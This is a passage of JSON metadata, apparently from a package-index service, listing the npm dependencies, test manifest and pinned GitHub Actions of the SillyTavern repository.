kind":"runtime","optional":false},{"id":26500039841,"package_name":"js-tokens","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039842,"package_name":"js-yaml","ecosystem":"npm","requirements":"3.14.2","direct":false,"kind":"runtime","optional":false},{"id":26500039843,"package_name":"jsesc","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"runtime","optional":false},{"id":26500039844,"package_name":"json-buffer","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039845,"package_name":"json-parse-even-better-errors","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039846,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"runtime","optional":false},{"id":26500039847,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039848,"package_name":"json5","ecosystem":"npm","requirements":"2.2.3","direct":false,"kind":"runtime","optional":false},{"id":26500039849,"package_name":"keyv","ecosystem":"npm","requirements":"4.5.4","direct":false,"kind":"runtime","optional":false},{"id":26500039850,"package_name":"kleur","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039851,"package_name":"leven","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039852,"package_name":"levn","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"runtime","optional":false},{"id":26500039853,"package_name":"lines-and-columns","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"runtime","optional":false},{"id":26500039854,"package_name":"locate-path","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039855,"package_name":"lodash.merge","ecosystem":"npm","requirements":"4.6.2","direct":false,"kind":"runtime","optional":false},{"id":26500039856,"package_name":"lru-cache","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039857,"package_name":"make-dir","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039858,"package_name":"makeerror","ecosystem":"npm","requirements":"1.0.12","direct":false,"kind":"runtime","optional":false},{"id":26500039859,"package_name":"merge-stream","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039860,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.8","direct":false,"kind":"runtime","optional":false},{"id":26500039861,"package_name":"mimic-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039862,"package_name":"minimatch","ecosystem":"npm","requirements":"3.1.5","direct":false,"kind":"runtime","optional":false},{"id":26500039863,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"runtime","optional":false},{"id":26500039864,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039865,"package_name":"node-int64","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039866,"package_name":"node-releases","ecosystem":"npm","requirements":"2.0.14","direct":false,"kind":"runtime","optional":false},{"id":26500039867,"package_name":"normalize-path","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039868,"package_name":"npm-run-path","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039869,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039870,"package_name":"onetime","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039871,"package_name":"optionator","ecosystem":"npm","requirements":"0.9.4","direct":false,"kind":"runtime","optional":false},{"id":26500039872,"package_name":"p-limit","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039873,"package_name":"p-locate","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039874,"package_name":"p-limit","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039875,"package_name":"p-try","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039876,"package_name":"parent-module","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039877,"package_name":"parse-json","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039878,"package_name":"path-exists","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039879,"package_name":"path-is-absolute","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039880,"package_name":"path-key","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039881,"package_name":"path-parse","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"runtime","optional":false},{"id":26500039882,"package_name":"picocolors","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039883,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"runtime","optional":false},{"id":26500039884,"package_name":"pirates","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039885,"package_name":"pkg-dir","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039886,"package_name":"playwright","ecosystem":"npm","requirements":"1.56.1","direct":false,"kind":"runtime","optional":false},{"id":26500039887,"package_name":"playwright-core","ecosystem":"npm","requirements":"1.56.1","direct":false,"kind":"runtime","optional":false},{"id":26500039888,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"runtime","optional":false},{"id":26500039889,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039890,"package_name":"pretty-format","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039891,"package_name":"ansi-styles","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039892,"package_name":"prompts","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"runtime","optional":false},{"id":26500039893,"package_name":"punycode","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039894,"package_name":"pure-rand","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039896,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"runtime","optional":false},{"id":26500039897,"package_name":"react-is","ecosystem":"npm","requirements":"18.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039899,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039901,"package_name":"resolve","ecosystem":"npm","requirements":"1.22.8","direct":false,"kind":"runtime","optional":false},{"id":26500039903,"package_name":"resolve-cwd","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039905,"package_name":"resolve-from","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039906,"package_name":"resolve.exports","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039908,"package_name":"reusify","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039910,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039912,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039913,"package_name":"semver","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039914,"package_name":"shebang-command","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039915,"package_name":"shebang-regex","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039916,"package_name":"signal-exit","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"runtime","optional":false},{"id":26500039917,"package_name":"sisteransi","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":26500039918,"package_name":"slash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039919,"package_name":"source-map","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"runtime","optional":false},{"id":26500039920,"package_name":"source-map-support","ecosystem":"npm","requirements":"0.5.13","direct":false,"kind":"runtime","optional":false},{"id":26500039921,"package_name":"sprintf-js","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039922,"package_name":"stack-utils","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039923,"package_name":"string-length","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039924,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"runtime","optional":false},{"id":26500039925,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039926,"package_name":"strip-bom","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039927,"package_name":"strip-final-newline","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039928,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039929,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039930,"package_name":"supports-preserve-symlinks-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039931,"package_name":"test-exclude","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039932,"package_name":"text-table","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039933,"package_name":"tmpl","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":26500039934,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039935,"package_name":"type-check","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039936,"package_name":"type-detect","ecosystem":"npm","requirements":"4.0.8","direct":false,"kind":"runtime","optional":false},{"id":26500039937,"package_name":"type-fest","ecosystem":"npm","requirements":"0.21.3","direct":false,"kind":"runtime","optional":false},{"id":26500039938,"package_name":"undici-types","ecosystem":"npm","requirements":"5.26.5","direct":false,"kind":"runtime","optional":false},{"id":26500039939,"package_name":"update-browserslist-db","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039940,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"runtime","optional":false},{"id":26500039941,"package_name":"v8-to-istanbul","ecosystem":"npm","requirements":"9.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039942,"package_name":"walker","ecosystem":"npm","requirements":"1.0.8","direct":false,"kind":"runtime","optional":false},{"id":26500039943,"package_name":"which","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039944,"package_name":"word-wrap","ecosystem":"npm","requirements":"1.2.5","direct":false,"kind":"runtime","optional":false},{"id":26500039945,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039946,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039947,"package_name":"write-file-atomic","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039948,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"runtime","optional":false},{"id":26500039949,"package_name":"yallist","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039950,"package_name":"yargs","ecosystem":"npm","requirements":"17.7.2","direct":false,"kind":"runtime","optional":false},{"id":26500039951,"package_name":"yargs-parser","ecosystem":"npm","requirements":"21.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039952,"package_name":"yocto-queue","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"npm","filepath":"tests/package.json","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:20.565Z","updated_at":"2026-09-15T02:12:20.565Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/tests/package.json","dependencies":[{"id":26500041000,"package_name":"@playwright/test","ecosystem":"npm","requirements":"^1.56.1","direct":true,"kind":"runtime","optional":false},{"id":26500041001,"package_name":"@types/jest","ecosystem":"npm","requirements":"^29.5.12","direct":true,"kind":"runtime","optional":false},{"id":26500041002,"package_name":"eslint","ecosystem":"npm","requirements":"^8.57.0","direct":true,"kind":"runtime","optional":false},{"id":26500041003,"package_name":"jest","ecosystem":"npm","requirements":"^29.7.0","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/docker-publish.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.003Z","updated_at":"2026-09-15T02:12:19.003Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/docker-publish.yml","dependencies":[{"id":26500038702,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9bb56186c3b09b4f86b1c65136769dd318469633","direct":true,"kind":"composite","optional":false},{"id":26500038703,"package_name":"docker/setup-qemu-action","ecosystem":"actions","requirements":"c7c53464625b32c7a7e944ae62b3e17d2b600130","direct":true,"kind":"composite","optional":false},{"id":26500038704,"package_name":"docker/setup-buildx-action","ecosystem":"actions","requirements":"8d2750c68a42422c14e847fe6c8ac0403b4cbd6f","direct":true,"kind":"composite","optional":false},{"id":26500038705,"package_name":"docker/metadata-action","ecosystem":"actions","requirements":"8e5442c4ef9f78752691e2d8f8d19755c6f78e81","direct":true,"kind":"composite","optional":false},{"id":26500038706,"package_name":"docker/login-action","ecosystem":"actions","requirements":"c94ce9fb468520275223c153574b00df6fe4bcc9","direct":true,"kind":"composite","optional":false},{"id":26500038707,"package_name":"docker/build-push-action","ecosystem":"actions","requirements":"2cdde995de11925a030ce8070c3d77a52ffcf1c0","direct":true,"kind":"composite","optional":false}]}],"score":24.239157626516757,"created_at":"2026-10-24T15:48:07.268Z","updated_at":"2026-10-25T19:03:40.058Z","avatar_url":"https://github.com/SillyTavern.png","language":"JavaScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/390105","html_url":"https://summary.ecosyste.ms/projects/390105"}